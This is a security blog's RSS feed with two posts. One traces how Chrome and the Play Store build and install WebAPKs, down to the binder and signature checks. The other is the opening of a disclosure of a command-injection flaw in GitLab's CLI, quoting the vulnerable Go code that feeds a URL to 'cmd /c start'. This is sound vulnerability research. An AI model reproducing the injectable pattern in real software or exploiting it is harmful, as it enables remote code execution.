<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>takemyhand - security blog</title>
    <description>OSCE3 | AppSec engineer @ GitLab | Android, web, network, CTFs
</description>
    <link>//</link>
    <atom:link href="//feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Tue, 17 Oct 2023 08:28:31 +0000</pubDate>
    <lastBuildDate>Tue, 17 Oct 2023 08:28:31 +0000</lastBuildDate>
    <generator>Jekyll v3.4.0</generator>
    
      <item>
        <title>Analyzing WebAPKs in Chrome for Android - Part 1</title>
        <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;h3 id=&quot;what-is-a-webapk&quot;&gt;What is a WebAPK?&lt;/h3&gt;
&lt;p&gt;When the user adds a Progressive Web App to their home screen on Android, Chrome automatically generates an APK for them, which is called a WebAPK. Being installed via an APK makes it possible for the app to show up in the app launcher, in Android’s app settings and to register a set of intent filters.&lt;/p&gt;

&lt;p&gt;To generate the WebAPK, Chrome looks at the web app manifest and other metadata.&lt;/p&gt;

&lt;p&gt;When the WebAPK is installed on the phone, it will register a set of intent filters for all URLs within the scope of the app. When a user clicks on a link that is within the scope of the app, the app will be opened, rather than opening within a browser tab.&lt;/p&gt;

&lt;p&gt;The WebAPK runs as a &lt;a href=&quot;https://developer.chrome.com/docs/android/trusted-web-activity/&quot;&gt;Trusted Web Activity&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;intent&quot;&gt;Intent&lt;/h3&gt;
&lt;p&gt;From a simple click in the browser, to having an entire APK installed directly in the background, WebAPK seems to be a complex web of several different Android components. The intent of this blogpost is to understand the entire flow from the user tapping on the “Install App” button, to when the APK is installed on the phone.&lt;/p&gt;

&lt;p&gt;Chrome version: 117.0.5938.153
Play Store version: 37.9.18-29
Android version: MIUI Global 12.0.1.2 on Redmi 9&lt;/p&gt;

&lt;h2 id=&quot;understanding-the-structure-of-the-code&quot;&gt;Understanding the structure of the code&lt;/h2&gt;
&lt;p&gt;It is anyone’s guess that the magic first begins inside the Chrome browser Android application, which is powered by the Chromium browser laid over a Java application. The Chromium browser is thankfully open-source, and with it some of the WebAPK-related Android functionality too. This source code is available at https://source.chromium.org/chromium/chromium/src/+/f97ec5363b5a8666ac40285f0d4bfc23bdc9f87e:components/webapps/browser/android/. For other Chrome-specific functionality, we will need to decompile the Chrome APK from an Android phone. As you will see later on in the blogpost, we will also need to decompile the Play Store application later in order to understand the complete flow.&lt;/p&gt;

&lt;h2 id=&quot;add-to-home-screen&quot;&gt;“Add to Home Screen”&lt;/h2&gt;
&lt;p&gt;When a user clicks on “Add to Home Screen” or “Install App” button as shown below, we reach the code residing in the &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/f97ec5363b5a8666ac40285f0d4bfc23bdc9f87e:components/webapps/browser/android/java/src/org/chromium/components/webapps/AddToHomescreenDialogView.java;l=230&quot;&gt;AddToHomeScreenDialogView.java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i0.wp.com/browsernative.com/wp-content/uploads/chrome-webapk-pwa-add-to-home-screen-1.png?resize=300%2C533&amp;amp;ssl=1&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here we can see that a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;mDelegate.onAddToHomescreen();&lt;/code&gt; is made:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/f91f4cbffc3b1da317eeb369bb50f63a.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;This calls into the following code in &lt;code class=&quot;highlighter-rouge&quot;&gt;AddToHomescreenMediator.java&lt;/code&gt;, which seems to be some call to native code based on the “JNI” in the function name. The Java Native Interface is an interface programming framework that enables Java code running in a Java virtual machine to call and be called by native applications and libraries written in other languages such as C, C++ and assembly.
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/0cce81f9d83b2afb6b8da36c241ae236.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;We look for the corresponding code and land in &lt;code class=&quot;highlighter-rouge&quot;&gt;components/webapps/browser/android/add_to_homescreen_mediator.cc&lt;/code&gt;, with the following code:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/229afb439d4d1fe0ea6fa73f5a4f65ce.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Here we can see that the code checks the &lt;code class=&quot;highlighter-rouge&quot;&gt;params&lt;/code&gt; object to figure out if the requested installation is for a WebAPK or not. The code for this struct can be found at &lt;code class=&quot;highlighter-rouge&quot;&gt;components/webapps/browser/android/add_to_homescreen_params.h&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Following the call into &lt;code class=&quot;highlighter-rouge&quot;&gt;AddToHomescreenInstaller::Install(GetWebContents(), *params_, event_callback_)&lt;/code&gt;, where &lt;code class=&quot;highlighter-rouge&quot;&gt;GetWebContents()&lt;/code&gt; returns the HTML document of the current web page loading inside the browser, we reach the following code:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/34daed00c7437c63b5ae5029691e6f0c.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Here we can see that if it’s a WebAPK installation, it will call &lt;code class=&quot;highlighter-rouge&quot;&gt;WebappsClient::Get()-&amp;gt;InstallWebApk(web_contents, params);&lt;/code&gt;. Let’s look at the code for that:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/731e424a682e38d6d1d78ca99ae4c4c5.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;shortcut_info&lt;/code&gt; structure contains information like the manifest URL of the app to be installed. Going further, we reach:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/626384143b3f3184378a9bffd6d3aa2e.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Going a few calls deeper, we finally reach the following:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/d172d174842d0f5f3219bd19bd6a6295.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CheckFreeSpace()&lt;/code&gt; calls back to the Java code as follows:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebApkInstaller&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CheckFreeSpace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;JNIEnv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;android&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AttachCurrentThread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Java_WebApkInstaller_checkFreeSpace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;java_ref_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The code inside the Android app simply checks for free space, and proceeds to call back to the C code:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/b25defcca8c8cbb216e075116bf1ff0b.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;As we can see, it serializes information for the WebAPK into a protobuf stream, and sends a request to the Google minting server, which is responsible for generating the WebAPK, as we will see further.
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/a52f7f31023f31440640814f3322b6b2.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;The protobuf definition for a WebAPK request can be found at &lt;code class=&quot;highlighter-rouge&quot;&gt;/components/webapk/webapk.proto&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;generation-of-the-webapk---googles-minting-server&quot;&gt;Generation of the WebAPK - Google’s minting server&lt;/h2&gt;
&lt;p&gt;Simply intercepting the traffic while this process reveals the following request is sent to Google’s servers.
&lt;img src=&quot;https://i.ibb.co/9TjYtX1/Screenshot-from-2023-10-15-12-34-47.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://i.ibb.co/SQFfZT5/Screenshot-from-2023-10-16-09-55-44.png&quot; alt=&quot;&quot; /&gt;
We can see a protobuf serialized message being sent, and in response getting another protobuf response containing details of the generated WebAPK.&lt;/p&gt;

&lt;h2 id=&quot;parsing-the-webapkresponse&quot;&gt;Parsing the WebApkResponse&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;OnUrlLoaderComplete()&lt;/code&gt; eventually calls into &lt;code class=&quot;highlighter-rouge&quot;&gt;InstallOrUpdateWebApk()&lt;/code&gt;:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/408b60b5e5ba10c8c5215d6d019d6df7.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Let’s talk about this code. The function takes a “package name” and some kind of “token”.&lt;/p&gt;

&lt;p&gt;Digging into the source code for &lt;code class=&quot;highlighter-rouge&quot;&gt;OnUrlLoaderComplete()&lt;/code&gt;, we see the following:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/3d73e706c0f86938721b2b5cab53d668.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;The following code takes the response from the Google minting server discussed earlier, and parses it into a &lt;code class=&quot;highlighter-rouge&quot;&gt;WebApkResponse&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unique_ptr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;webapk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WebApkResponse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webapk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WebApkResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParseFromString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;LOG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;WebAPK server did not return proto.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;OnResult&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;webapps&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WebApkInstallResult&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SERVER_ERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The protobuf definition for a &lt;code class=&quot;highlighter-rouge&quot;&gt;WebApkResponse&lt;/code&gt; can be found at &lt;code class=&quot;highlighter-rouge&quot;&gt;out/android-Debug/gen/components/webapk/webapk.pb.h&lt;/code&gt;. We can see that at field 1 it contains the &lt;code class=&quot;highlighter-rouge&quot;&gt;package_name&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// optional string package_name = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;and that at field 6 it contains a token:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// optional string token = 6;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;These are the fields that are used to call &lt;code class=&quot;highlighter-rouge&quot;&gt;InstallOrUpdateWebApk(response-&amp;gt;package_name(), token);&lt;/code&gt;, which can be seen in the image, once again, the fields corresponding to 1 and 6:
&lt;img src=&quot;https://i.ibb.co/9TjYtX1/Screenshot-from-2023-10-15-12-34-47.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, the native code calls &lt;code class=&quot;highlighter-rouge&quot;&gt;Java_WebApkInstaller_installWebApkAsync(env, java_ref_, java_webapk_package, webapk_version_, java_title, java_token, source_, java_primary_icon);&lt;/code&gt;. This leads us back to the Java code inside the Android app,
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/22847e1061cd6edfa793a24b32708256.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;After this, I was unable to find the definition of &lt;code class=&quot;highlighter-rouge&quot;&gt;installAsync(packageName, version, title, token, callback);&lt;/code&gt; in the Chromium project, which is when I decided to decompile the Chrome application itself. This is probably because every browser has it’s own custom implementation of this method inside the &lt;code class=&quot;highlighter-rouge&quot;&gt;GooglePlayWebApkInstallDelegate&lt;/code&gt; interface which can be found at &lt;code class=&quot;highlighter-rouge&quot;&gt;chrome/android/java/src/org/chromium/chrome/browser/webapps/GooglePlayWebApkInstallDelegate.java&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;chrome-talks-to-google-play-services&quot;&gt;Chrome talks to Google Play services&lt;/h2&gt;
&lt;p&gt;I was able to quickly track down the same package and class file in &lt;code class=&quot;highlighter-rouge&quot;&gt;org.chromium.chrome.browser.webapps.WebApkInstaller&lt;/code&gt;, this time with a definition of the &lt;code class=&quot;highlighter-rouge&quot;&gt;installAsync&lt;/code&gt; method. This is what I found:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/a2450048f99688c22362eef95226deaf.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Note that most of the code at this point was initially heavily obfuscated, and variables and functions were renamed after hours of analyzing it.&lt;/p&gt;

&lt;p&gt;We see that a service connection is used to interact with a bound service at &lt;code class=&quot;highlighter-rouge&quot;&gt;com.android.vending&lt;/code&gt; (which is the package name for Play Store) and the intent with action &lt;code class=&quot;highlighter-rouge&quot;&gt;com.google.android.finsky.BIND_PLAY_INSTALL_SERVICE&lt;/code&gt;. Looking into this service connection, we see the following code:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/9f1be40117209dde4e610cded5fa385f.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Looking more into the &lt;code class=&quot;highlighter-rouge&quot;&gt;w71&lt;/code&gt; binder object:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/33571cbc19451601bac22d90fb5ecb0e.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;At line 30 we see that it transacts with the &lt;code class=&quot;highlighter-rouge&quot;&gt;com.google.android.finsky.installapi.IPlayInstallService&lt;/code&gt; binder the service connection is bound to. It sends the current package name, package name and the token to the binder transaction. At this point, we need to turn to the Play Store package to see how it handles this transaction. You can find more abount binder transactions &lt;a href=&quot;https://stackoverflow.com/questions/51425189/what-is-an-android-binder-transaction&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After decompiling the Play Store package and opening &lt;code class=&quot;highlighter-rouge&quot;&gt;com.google.android.finsky.installapi.PlayInstallService&lt;/code&gt; we see the following:
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/0fafbfe3c0dcfce0cb1855acd1ea278b.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Going through the code for the &lt;code class=&quot;highlighter-rouge&quot;&gt;installBinder&lt;/code&gt; binder (real class name &lt;code class=&quot;highlighter-rouge&quot;&gt;qeu&lt;/code&gt;), we see the following call being made:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Bundle&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mo10293a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mo10293a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parcel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;readString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parcel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;readString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parcelOperator&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createParcel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parcel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;CREATOR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This is basically inside the &lt;code class=&quot;highlighter-rouge&quot;&gt;onTransaction&lt;/code&gt; call for this binder, where the sending package name, the installation package name and bundle containing our token is taken from the transaction. Looking into the code for &lt;code class=&quot;highlighter-rouge&quot;&gt;mo10293a()&lt;/code&gt; we will see the following function call with the same bundle and package name combo:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;((qfa) arrayList.get(i)).mo10213a(uryVar);
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;There is also a check early on in the function:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (!this.f136102c.checkUid(packageName)) {
            return m10294b(-1);
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This check ensures that the sending package name in the transaction call matches the Uid of the package that the binder is transacting with.&lt;/p&gt;

&lt;p&gt;The code for the &lt;code class=&quot;highlighter-rouge&quot;&gt;mo10213a()&lt;/code&gt; function can be found in a class called &lt;code class=&quot;highlighter-rouge&quot;&gt;qfp&lt;/code&gt;: 
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/9247bb35893392b314e1036044ef501d.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Following line 14 we come across a whole bunch of checks on the transaction information, which are needed to pass in order for the package to finally be installed. All the checks look quite simple, except for the first one, which is to do with signatures. Going down a little deeper, we are faced with a whole class that deals with Google package signature verification (again, variable and function naming done independently):
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/849b009a0f7863ab1f5d637197b7b513.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;As you can see, the package communicates with a service called &lt;code class=&quot;highlighter-rouge&quot;&gt;com.google.android.gms.common.internal.IGoogleCertificatesApi&lt;/code&gt; to check if the signature of the calling package is a Google verified signature or not.&lt;/p&gt;

&lt;p&gt;After these checks, the WebAPK installation begins. But as far as security goes, this is the last check in the process, after which Play Store retrieves the APK using the &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; sent earlier in the transaction.&lt;/p&gt;
</description>
        <pubDate>Sat, 14 Oct 2023 06:44:00 +0000</pubDate>
        <link>//2023/10/analyzing-webapks-in-chrome-for-android</link>
        <guid isPermaLink="true">//2023/10/analyzing-webapks-in-chrome-for-android</guid>
        
        
      </item>
    
      <item>
        <title>RCE in GitLab's CLI tool</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;h1 id=&quot;description&quot;&gt;Introduction&lt;br /&gt;&lt;/h1&gt;
&lt;p&gt;After starting at GitLab in October last year as a security engineer, one of the first reviews that came my way was our CLI tool, which was only recently published officially. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;Taking inspiration from the &lt;a href=&quot;https://snyk.io/blog/command-injection-vulnerability-cve-2022-40764/&quot;&gt;command injection vulnerability in Snyk's CLI tool&lt;/a&gt;, we decided to performed a code review on &lt;a href=&quot;https://gitlab.com/gitlab-org/cli&quot;&gt;GitLab's CLI tool&lt;/a&gt; to look for improper usage of &lt;code&gt;&lt;b&gt;exec.Command&lt;/b&gt;&lt;/code&gt;.  A particular code snippet in &lt;b&gt;&lt;code&gt;/pkg/browser/browser.go&lt;/code&gt;:&lt;/b&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;func ForOS(goos, url &lt;span class=&quot;hljs-built_in&quot;&gt;string&lt;/span&gt;) *exec.Cmd {
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;exe&lt;/span&gt; := &lt;span class=&quot;hljs-string&quot;&gt;&quot;open&quot;&lt;/span&gt;
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;var &lt;span class=&quot;hljs-keyword&quot;&gt;args&lt;/span&gt; []&lt;span class=&quot;hljs-built_in&quot;&gt;string&lt;/span&gt;
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;switch goos {
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;case &lt;span class=&quot;hljs-string&quot;&gt;&quot;darwin&quot;&lt;/span&gt;:
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;args&lt;/span&gt; = &lt;span class=&quot;hljs-keyword&quot;&gt;append&lt;/span&gt;(&lt;span class=&quot;hljs-keyword&quot;&gt;args&lt;/span&gt;, url)
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;case &lt;span class=&quot;hljs-string&quot;&gt;&quot;windows&quot;&lt;/span&gt;:
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;exe&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;cmd&quot;&lt;/span&gt;
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;r := strings.NewReplacer(&lt;span class=&quot;hljs-string&quot;&gt;&quot;&amp;amp;amp;&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;^&amp;amp;amp;&quot;&lt;/span&gt;)
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;args&lt;/span&gt; = &lt;span class=&quot;hljs-keyword&quot;&gt;append&lt;/span&gt;(&lt;span class=&quot;hljs-keyword&quot;&gt;args&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;/c&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;start&quot;&lt;/span&gt;, r.Replace(url))
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;defaul&lt;span class=&quot;hljs-variable&quot;&gt;t:&lt;/span&gt;
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;exe&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;xdg-open&quot;&lt;/span&gt;
&lt;span class=&quot;hljs-keyword&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;args&lt;/span&gt; = &lt;span class=&quot;hljs-keyword&quot;&gt;append&lt;/span&gt;(&lt;span class=&quot;hljs-keyword&quot;&gt;args&lt;/span&gt;, url)
}

cmd := exec.Command(&lt;span class=&quot;hljs-keyword&quot;&gt;exe&lt;/span&gt;, &lt;span class=&quot;hljs-keyword&quot;&gt;args&lt;/span&gt;...)&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;description&quot;&gt;Attack surface&lt;br /&gt;&lt;/h1&gt;
&lt;p&gt;Golang does a pretty decent job of protecting against command injection, and we would only be vulnerable to any kind of RCE only if direct calls to &lt;code&gt;cmd.exe&lt;/code&gt; or &lt;code&gt;sh&lt;/code&gt; were being made with user input. In the above code snippet, &lt;code&gt;url&lt;/code&gt; is directly being used to call a command that looks like:
&lt;code&gt;&lt;b&gt;cmd.exe /c &quot;start &amp;lt;http://url=&quot;&quot;&amp;gt;&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If we can control the &lt;code&gt;url&lt;/code&gt; parameter somehow, we may be able to break out of the URL and inject arbitrary commands. Looking for usage of this function leads us to &lt;code&gt;&lt;b&gt;/commands/mr/create/mr_create.go&lt;/b&gt;&lt;/code&gt;. &lt;a href=&quot;https://gitlab.com/gitlab-org/cli/-/blob/main/commands/mr/create/mr_create.go#L716&quot;&gt;This line&lt;/a&gt; indirectly calls the function that we have noted above:&lt;/p&gt;
